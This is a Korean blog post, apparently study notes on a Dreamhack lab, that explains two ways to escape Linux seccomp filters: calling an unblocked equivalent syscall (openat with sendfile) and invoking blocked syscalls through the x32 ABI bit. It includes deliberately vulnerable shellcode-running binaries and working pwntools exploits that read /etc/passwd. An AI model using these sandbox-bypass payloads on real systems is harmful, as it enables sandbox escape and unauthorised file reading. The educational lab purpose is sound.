[Dreamhack] Exploit Tech: Bypass SECCOMP

Sisyphus·2022년 7월 23일
0

Dreamhack - System Hacking

목록 보기
39/49

Bypass SECCOMP

타 시스템 콜 호출

같은 기능을 하는 다른 시스템 콜을 호출합니다.
Ex) open syscall과 openat syscall

Application Binary Interface (ABI)

다양한 아키텍처가 존재하고 아키텍처 별로 명령어 세트와 기능, 크기 등이 다르기 때문에 애플리케이션 운영 목적에 따라 알맞은 아키텍처를 선택해 사용합니다. 따라서 커널 코드는 이 모든 것을 고려하여 작성되었습니다. 중요한 것은 아키텍처 별로 시스템 콜 번호가 다른 점과 서로 다른 아키텍처를 호환하기 위한 코드를 이용해 우회를 할 수 있다는 것입니다.



분석

타 시스템 콜 호출 실습 코드

// Name: bypass_seccomp.c
// Compile: gcc -o bypass_seccomp bypass_seccomp.c -lseccomp

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void sandbox() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
  
  seccomp_load(ctx);
}

int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  void (*sc)();
  
  init();
  
  memset(shellcode, 0, 0x1000);
  
  printf("shellcode: ");
  read(0, shellcode, 0x1000);
  
  sandbox();
  
  sc = (void *)shellcode;
  sc();
}

샌드 박스

 kali@kali  ~/dreamhack/BYPASS_SECCOMP  seccomp-tools dump ./bypass_syscall                         
shellcode: aaaaaaaaaaaaaaaa
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0010
 0006: 0x15 0x03 0x00 0x00000002  if (A == open) goto 0010
 0007: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0010
 0008: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

코드 분석

  • RWX 권한이 있는 페이지를 할당하고 이용자로부터 입력받은 값을 실행합니다.
  • sandbox 함수를 살펴보면 ALLOW 리스트 기반으로, execve, execveat, open, write 시스템 콜을 사용할 수 없습니다.


익스플로잇

익스플로잇 설계

1. 시스템 콜 찾기

같은 기능을 하는 시스템 콜이 있는지 확인해야 합니다. open과 같은 역할을 수행하는 시스템 콜로 openat이 존재합니다. 두 시스템 콜은 파일을 열고 파일 디스크립터를 반환한다는 점에서 비슷하지만, openat은 전달된 인자인 dirfd를 참조해 해당 경로에서 파일을 찾습니다.

2. 시스템 콜 호출

openat 시스템 콜의 원형

int openat(int dirfd, const char *pathname, int flags, mode_t mode);

해당 시스템 콜은 두번째 인자 pathname이 절대 경로이면 첫번째 인자인 dirfd를 무시합니다. 따라서 해당 시스템 콜의 번호를 알아내고 두 번째 파일 인자에 파일 경로 문자열의 주소를 전달하면 파일 내용을 읽을 수 있습니다.


시스템 콜 호출

openat 시스템 콜을 호출할 때는 두 번째 인자에 절대 경로로 읽을 파일명의 주소를 전달하고 나머지는 NULL로 초기화 합니다.

bypass_seccomp 익스플로잇 코드

# Name: bypass_seccomp.py

from pwn import *

context.arch = 'x86_64'
p = process("./bypass_seccomp")

shellcode = shellcraft.openat(0, "/etc/passwd")
shellcode += 'mov r10, 0xffff'
shellcode += shellcraft.sendfile(1, 'rax', 0).replace("xor r10d, r10d","")
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))

p.interactive()

open과 비슷한 openat 시스템 콜을 사용했고 파일의 내용을 출력하기 위해서 sendfile 시스템 콜을 사용했습니다.

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

$ python bypass_seccomp.py 
[+] Starting local process './bypass_seccomp': pid 27815
[*] Switching to interactive mode
[*] Process './bypass_seccomp' stopped with exit code 0 (pid 27815)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
sshd:x:122:65534::/run/sshd:/usr/sbin/nologin
...
[*] Got EOF while reading in interactive


ABI

FILTER_MODE: BPF DENY LIST 예제

// Name: secbpf_dlist.c
// Compile: gcc -o secbpf_dlist secbpf_dlist.c

#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>

#define DENY_SYSCALL(name)                                \
  BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)

#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)

#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))

/* architecture x86_64 */
#define ARCH_NR AUDIT_ARCH_X86_64

int sandbox() {
  struct sock_filter filter[] = {
      /* Validate architecture. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
      /* Get system call number. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
      /* List allowed syscalls. */
      DENY_SYSCALL(open),
      DENY_SYSCALL(openat),
      MAINTAIN_PROCESS,
  };
  
  struct sock_fprog prog = {
      .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
      .filter = filter,
  };
  if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
    perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
    return -1;
  }
  if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
    perror("Seccomp filter error\n");
    return -1;
  }
  
  return 0;
}

int main(int argc, char* argv[]) {
  char buf[256];
  int fd;
  
  memset(buf, 0, sizeof(buf));
  sandbox();
  
  fd = open("/bin/sh", O_RDONLY);
  read(fd, buf, sizeof(buf) - 1);
  write(1, buf, sizeof(buf));
  
  return 0;
}

SECCOMP 라이브러리 함수를 사용한 바이너리를 seccomp-tools로 확인해보면 코드에서 정의하지 않은 비교 구문을 확인할 수 있습니다.

 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005

코드에는 없던 비교 구문이 seccomp-tools를 통해 확인하니 추가되었습니다. 반면에 라이브러리 함수를 사용하지 않은 예제를 확인해보면 비교 구문이 없습니다.

 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0006

결과를 비교해보면, SECCOMP 라이브러리 함수에서 시스템 콜 번호의 값을 비교하는 구문을 추가한다는 것을 알 수 있습니다. 이러한 비교 구문이 왜 추가되고 해당 비교 구문이 없을 때 어떻게 우회하여 공격할 수 있는지 알아보겠습니다.


시스템 콜 호출 방식

SECCOMP에서 아키텍처를 명시할 때 AUDIT_ARCH_X86_64라는 이름으로 정의된 매크로를 사용합니다. 이는 리눅스 커널에서 x86-64와 x32를 동시에 일컫는 아키텍처 필드명입니다. 그러나 두 개의 ABI는 명백히 다른 아키텍처입니다. 리눅스 커널은 이들을 구별하기 위해 시스템 콜 번호에 특정 값을 사용하는데, 이 값이 0x40000000입니다.

시스템 콜과 레지스터를 do_syscall_x64 전달해 호출하고, 이후에 do_syscall_x32를 호출합니다. 이는 x86-64의 시스템 콜 호출에 실패하면 x32 ABI에서 다시 한번 호출을 시도하는 코드입니다.

do_syscall_64 함수

__visible noinstr void do_syscall_64(struct pt_regs *regs, int nr)
{
	add_random_kstack_offset();
	nr = syscall_enter_from_user_mode(regs, nr);
    
	instrumentation_begin();
    
	if (!do_syscall_x64(regs, nr) && !do_syscall_x32(regs, nr) && nr != -1) {
		/* Invalid system call, but still a system call. */
		regs->ax = __x64_sys_ni_syscall(regs);
	}
    
	instrumentation_end();
	syscall_exit_to_user_mode(regs);
}

do_syscall_x64

x86-64에서 시스템 콜을 처리하는 함수 입니다.
호출하는 시스템 콜 번호가 시스템 콜 갯수를 초과하는지 비교하고 초과하지 않으면 시스템 콜을 호출합니다.

static __always_inline bool do_syscall_x64(struct pt_regs *regs, int nr)
{
	/*
	 * Convert negative numbers to very high and thus out of range
	 * numbers for comparisons.
	 */
	unsigned int unr = nr;
    
	if (likely(unr < NR_syscalls)) {
		unr = array_index_nospec(unr, NR_syscalls);
		regs->ax = sys_call_table[unr](regs);
		return true;
	}
	return false;
}

do_syscall_x32

x32 명령어를 호환하는 함수입니다.
호출하는 시스템 콜 번호에서 _X32_SYSCALL_BIT 값을 뺀 시스템 콜 번호를 사용합니다. 해당 매크로 값은 0x40000000로 정의되어 있습니다.

static __always_inline bool do_syscall_x32(struct pt_regs *regs, int nr)
{
	/*
	 * Adjust the starting offset of the table, and convert numbers
	 * < __X32_SYSCALL_BIT to very high and thus out of range
	 * numbers for comparisons.
	 */
	unsigned int xnr = nr - __X32_SYSCALL_BIT;
	
    if (IS_ENABLED(CONFIG_X86_X32_ABI) && likely(xnr < X32_NR_syscalls)) {
		xnr = array_index_nospec(xnr, X32_NR_syscalls);
		regs->ax = x32_sys_call_table[xnr](regs);
		return true;
	}
	return false;
}


코드 분석

ABI 시스템 콜 호출 실습 코드

// Name: bypass_secbpf.c
// Compile: gcc -o bypass_secbpf bypass_secbpf.c

#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>

#define DENY_SYSCALL(name)                                \
  BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)

#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)

#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))

/* architecture x86_64 */
#define ARCH_NR AUDIT_ARCH_X86_64
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int sandbox() {
  struct sock_filter filter[] = {
      /* Validate architecture. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
      /* Get system call number. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
      /* List allowed syscalls. */
      DENY_SYSCALL(open),
      DENY_SYSCALL(openat),
      DENY_SYSCALL(read),
      DENY_SYSCALL(write),
      DENY_SYSCALL(vfork),
      DENY_SYSCALL(fork),
      DENY_SYSCALL(clone),
      DENY_SYSCALL(execve),
      DENY_SYSCALL(execveat),
      MAINTAIN_PROCESS,
  };
  
  struct sock_fprog prog = {
      .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
      .filter = filter,
  };
  if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
    perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
    return -1;
  }
  
  if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
    perror("Seccomp filter error\n");
    return -1;
  }
  
  return 0;
}

int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  
  void (*sc)();
  
  init();
  
  memset(shellcode, 0, 0x1000);
  
  printf("shellcode: ");
  read(0, shellcode, 0x1000);
  
  sandbox();
  
  sc = (void *)shellcode;
  sc();
}

샌드 박스

 kali@kali  ~/dreamhack/BYPASS_SECCOMP  seccomp-tools dump ./bypass_secbpf 
shellcode: aaaaaaaaaaaaaaaaaaaaaaaaaa
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0010
 0009: 0x06 0x00 0x00 0x00000000  return KILL
 0010: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0012
 0011: 0x06 0x00 0x00 0x00000000  return KILL
 0012: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0014
 0013: 0x06 0x00 0x00 0x00000000  return KILL
 0014: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0016
 0015: 0x06 0x00 0x00 0x00000000  return KILL
 0016: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0018
 0017: 0x06 0x00 0x00 0x00000000  return KILL
 0018: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0020
 0019: 0x06 0x00 0x00 0x00000000  return KILL
 0020: 0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0022
 0021: 0x06 0x00 0x00 0x00000000  return KILL
 0022: 0x06 0x00 0x00 0x7fff0000  return ALLOW

코드 분석

RWX 권한이 있는 페이지를 할당하고 이용자로부터 입력받은 값을 실행합니다. sandbox 함수를 보면, DENY 리스트를 기반으로, DENY_SYSCALL 매크로 인자로 전달되는 시스템 콜을 호출할 수 없습니다.



익스플로잇

익스플로잇 설계

사용할 수 있는 시스템 콜을 먼저 찾아야 합니다. 정의된 규칙에 시스템 콜이 명시되어 있지 않더라도 특정 시스템 콜이 호출되면서 내부에서 사용하는 또 다른 시스템 콜을 호출하면서 프로그램이 종료될 수 있습니다. 예를 들어, 프로그램에서 openat를 거부하고 execve 시스템 콜을 허용할 때 execve 시스템 콜 호출 자체는 가능하지만 시스템 콜이 정상적으로 수행되지 않습니다. 이는 execve 내에서 openat 시스템 콜을 사용하기 때문입니다. 따라서 시스템 콜의 의존성이 과할 경우 호출할 수 없는 가능성이 매우 큽니다.

open, read, write는 타 시스템 콜에 의존하지 않고 실행할 수 있습니다. 프로그램에서 해당 시스템 콜의 호출을 거부하지만 do_syscall_x32 함수에서 실행할 수 있으므로 해당 시스템 콜을 호출해 임의 파일을 읽어야 합니다.


시스템 콜 호출

시스템 콜을 호출하는 쉘코드를 작성합시다.

익스플로잇 코드는 open, read, write 시스템 콜을 사용해 “/etc/passwd” 파일을 읽는 익스플로잇 코드입니다. 시스템 콜을 호출하는 방식은 비슷하지만 시스템 콜 번호를 삽입할 때 or rax, 0x40000000 명령어가 존재합니다. 이는 do_syscall_x32 함수 즉, x32 모드로 시스템 콜을 호출하기 위함입니다.

익스플로잇 코드를 실행하면 원래는 실행할 수 없던 open, read, write 시스템 콜을 실행해 “/etc/passwd”를 읽은 것을 확인할 수 있습니다.

bypass_secbpf 익스플로잇 코드

# Name: bypass_secbpf.py
from pwn import *

context.arch = 'x86_64'
p = process("./bypass_secbpf")

data = '''
mov rax, 2
or rax, 0x40000000
lea rdi, [rip+path]
xor rsi, rsi
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x1000
xor rax, rax
or rax, 0x40000000
syscall

mov rdi, 1
mov rsi, rsp
mov rax, 1
or rax, 0x40000000
syscall

path: .asciz "/etc/passwd"
'''

p.sendline(asm(data))

p.interactive()
$ python payload.py 
[+] Starting local process './bypass_secbpf': pid 28974
[*] Switching to interactive mode
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
sshd:x:122:65534::/run/sshd:/usr/sbin/nologin
...
[*] Got EOF while reading in interactive

0개의 댓글